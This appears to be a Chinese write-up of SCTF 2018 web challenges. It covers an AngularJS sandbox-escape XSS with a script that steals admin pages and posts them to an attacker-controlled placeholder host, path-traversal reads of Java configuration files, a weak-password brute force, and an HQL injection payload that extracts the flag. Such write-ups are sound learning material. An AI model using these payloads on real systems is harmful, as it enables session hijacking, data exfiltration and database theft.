SCTF 2018 web部分writeup

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NU1L师傅写的wp有点糙,虽然这个比赛web狗饱受打击,我就抓紧时间复现了下,学到了不少东西.

 

Web

新的建议板

师傅最近开始学前端 想写个建议板 后来失败了?
image.png 登录上题,注册了一个账号,直接查看js模板
image.png

直接在前端的min-test.js
angular.module("mintest",["ngRoute"]).controller("IndexController",function($scope,$route)
{$scope.$route=$route}).config(function($routeProvider)
{$routeProvider.when("/admintest2313",
{templateUrl:"view/admintest2313.html",controller:"IndexController"}).when("/home",
{templateUrl:"view/home.html",controller:"IndexController"}).when("/login",
{templateUrl:"view/login.html",controller:"IndexController"}).when("/loginout",
{templateUrl:"view/loginout.html",controller:"IndexController"}).when("/register",
{templateUrl:"view/register.html",controller:"IndexController"}).when("/suggest",
{templateUrl:"view/suggest.html",controller:"IndexController"})});

直接可以到后台路径,尝试访问view/admintest2313.html,查看源代码image.png 可以直接看到后台程序的接口

/api/memos/admintest2313

直接可以在这里看到使用的AngularJS模板,直接查找相应的模板漏洞

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}

然后直接利用xss反弹到自己的服务器上,看看能获取什么

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };window.open("你的ip")//');}}

image.png

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob('$.getScript('http://xxxxxxxxxxxxx/xss1.js');'))//');}}
xss.js
$.ajax({
    url: "/admin",
    type: "GET",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('http://xxxxxxxxxxxxxxxx', code);
    },
    error: function(msg) {

    }
})

function xssPost(url, postStr) {
    var de;
    de = document.body.appendChild(document.createElement('iframe'));
    de.src = 'about:blank';
    de.height = 1;
    de.width = 1;
    de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
    de.contentDocument.forms[0].submit();
    de.style.display = 'none';
}

image.png 把那一堆base64解密

<!DOCTYPE html>
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- 上述3个meta标签*必须*放在最前面,任何其他内容都*必须*跟随其后! -->
    <meta name="description" content="">
    <meta name="author" content="">
    <link rel="icon" href="">

    <title>SYC</title>


    <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
    <link href="css/ie10-viewport-bug-workaround.css" rel="stylesheet">
    <link href="css/starter-template.css" rel="stylesheet">
    <style type="text/css">
          body {
            padding-top: 60px;
            padding-bottom: 40px;
          }
        </style>

    <script src="https://cdn.bootcss.com/angular.js/1.4.6/angular.min.js"></script>
    <script src="https://apps.bdimg.com/libs/angular-route/1.3.13/angular-route.js"></script>
    <script src="js/ie-emulation-modes-warning.js"></script>

  </head>

  <body >

    <nav class="navbar navbar-inverse navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </button>
          <a class="navbar-brand" href="/">SYC ADMIN</a>
        </div>
        <div id="navbar" class="collapse navbar-collapse">
          <ul class="nav navbar-nav">
            <li class="active"><a href="#">Home</a></li>
            <li><a href="#">日志</a></li>
            <li><a href="#">账单</a></li>
            <li><a href="admin/file">文件</a></li>
            <li><a href="admin/suggest">留言</a></li>
            <li><a href="#">发布</a></li>
          </ul>
        </div>
      </div>
    </nav>


<div class="container">
  <div class="jumbotron">
        <h1>HELLO adminClound</h1>
        <p>新版后台2.0!</p>
  </div>
</div>


    <!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="js/ie10-viewport-bug-workaround.js"></script>

</body>
</html>

这里可以获得用户名adminClound
尝试访问/api/memos/adminClound得到如下信息

[{"memo":"文件密码:HGf^&39NsslUIf^23"},{"memo":"规定完成时间:6月30日"},{"memo":"项目完成删除备忘录功能"}]

image.png 修改js文件继续访问这两个路径(改url)

/admin/file

<div class="container">
  <form method="post">
    <label for="filePasswd" class="sr-only">输入文件密码</label>
    <input type="text" id="filePasswd" class="form-control" placeholder="filepasswd" required="" autofocus="" name="filepasswd">
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
  </form>
</div>

<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="js/ie10-viewport-bug-workaround.js"></script>

</body>
</html>
admin/suggest

<div class="container">
  <h3>留言</h3>
  <div ng-app>
  <ol>
  <li></li>
  </ol>
</div>
</div>

  <!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="js/ie10-viewport-bug-workaround.js"></script>

</body>
</html>

接下来东西都有了,直接访问加密的那个文件/admin/file

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("$.post('/admin/file',{'filepasswd':'HGf^&39NsslUIf^23'},function(data){(new Image()).src="你的ip/?info="+escape(data);});"));//');}}

Zhuanxv

你只是在扫描目标端口的时候发现了一个开放的web服务

image.png
扫描一波目录,可以扫到list,然后访问可以抓到怎么一个包
image.png猜测可能是文件读取

同时在github上可以找到源码,有用的信息如下

image.png
image.png
image.png

初始用户名是:homamamama 不过密码改了,拿弱口令字典可以爆出来密码是6yhn7ujm

然后在访问list目录,然后什么都没有发生…….

然后可以看到这个是java写的应用,构造路径直接读取一下web.xml

image.png

直接在github上找框架

https://github.com/martin-wong/iCloud

image.png
image.png
然后直接构造路径读取文件

配置文件
HTTP/1.1 200 
Content-Disposition: attachment;filename="bg.jpg"
Content-Type: image/jpeg
Date: Fri, 22 Jun 2018 03:51:44 GMT
Connection: close
Content-Length: 2243

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
    <constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>

        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

然后根据这个逐个的吧文件读取下来
最后可以发现在../../WEB-INF/classes/applicationContext.xml中

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

可以看到是用hibernate执行sql
而且flag在数据库中,就需要读取数据库
顺便读取一下../../WEB-INF/classes/user.hbm.xml

<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
        "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
        "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
    <class name="User" table="hlj_members">
        <id name="id" column="user_id">
            <generator class="identity"/>
        </id>
        <property name="name"/>
        <property name="password"/>
    </class>
    <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
        <id name="flag" column="welcometoourctf">
            <generator class="identity"/>
        </id>
        <property name="flag"/>
    </class>
</hibernate-mapping>

然后在将applicationContext.xml中相应的class反编译,查看过滤条件
这里只贴出关键代码

    //UserLoginAction.class

    public boolean userCheck(User user) {
        List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword());
        if ((userList != null) && (userList.size() == 1)) {
            return true;
        }
        addActionError("Username or password is Wrong, please check!");
        return false;
    }

    //UserServiceImpl.class

    public List <User> loginCheck(String name, String password) {
        name = name.replaceAll(" ", "");
        name = name.replaceAll("=", "");
        Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
        Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
        if (password_matcher.find()) {
            return this.userDao.loginCheck(name, password);
        }
        return null;
    }

    //UserDaoImpl.class

    public List < User > loginCheck(String name, String password) {
        return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");  
    }

剩下的就是注入了,需要符合Hsql语法规则
最后的payload

user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa

easiest web – phpmyadmin

直接看这个
https://www.jianshu.com/p/f51b6e54d613

其他的题我目前的能力还不足以达到,还需努力……

 

参考

http://www.venenof.com/index.php/archives/551/
http://sec2hack.com/ctf/sctf2018-web-writeup.html
在膜一波W&P和NU1L的师傅们

 

审核人:yiwang   编辑:少爷

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